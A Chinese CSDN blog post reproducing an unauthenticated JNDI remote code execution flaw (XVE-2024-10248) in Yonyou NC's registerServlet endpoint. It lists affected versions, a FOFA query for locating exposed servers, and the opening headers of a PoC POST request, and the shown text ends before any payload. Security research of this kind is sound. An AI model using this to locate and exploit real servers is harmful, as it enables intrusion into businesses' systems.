用友NC registerServlet JNDI 远程代码执行漏洞复现(XVE-2024-10248)

0xSecl

已于 2024-05-11 15:43:36 修改

阅读量1.3k

点赞数 5

分类专栏：漏洞复现文章标签：安全 web安全

于 2024-05-11 15:34:33 首次发布

本文链接：https://blog.csdn.net/qq_41904294/article/details/138715958

版权

漏洞复现专栏收录该内容

955 篇文章 1561 订阅 ¥9.90 ¥99.00

订阅专栏

超级会员免费看

本文介绍了用友NC产品的一个严重安全问题，即registerServlet接口存在的JNDI远程代码执行漏洞。攻击者无需认证即可利用此漏洞在服务器端执行任意代码，获取服务器权限。受影响的版本包括NC63、NC633和NC65。文章详细阐述了漏洞复现过程，包括PoC和DNSlog验证，并提供了批量检测脚本。最后，给出了修复建议，如限制接口访问权限或删除特定代码段以关闭漏洞。

摘要由CSDN通过智能技术生成

0x01 产品简介

用友NC是用友软件股份有限公司开发的一套企业级管理软件系统。它是一个基于互联网的多层应用系统，旨在为中大型企业提供全面、集成的管理解决方案。是一种商业级的企业资源规划云平台，为企业提供全面的管理解决方案，包括财务管理、采购管理、销售管理、人力资源管理等功能，实现企业的数字化转型和业务流程优化。

0x02 漏洞概述

用友NC registerServlet 接口处存在JNDI 远程代码执行漏洞，未经身份验证的远程攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个web服务器。

0x03 影响范围

NC63 / NC633 / NC65

0x04 复现环境

FOFA：app="用友-UFIDA-NC"

0x05 漏洞复现

PoC

POST /portal/registerServlet HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: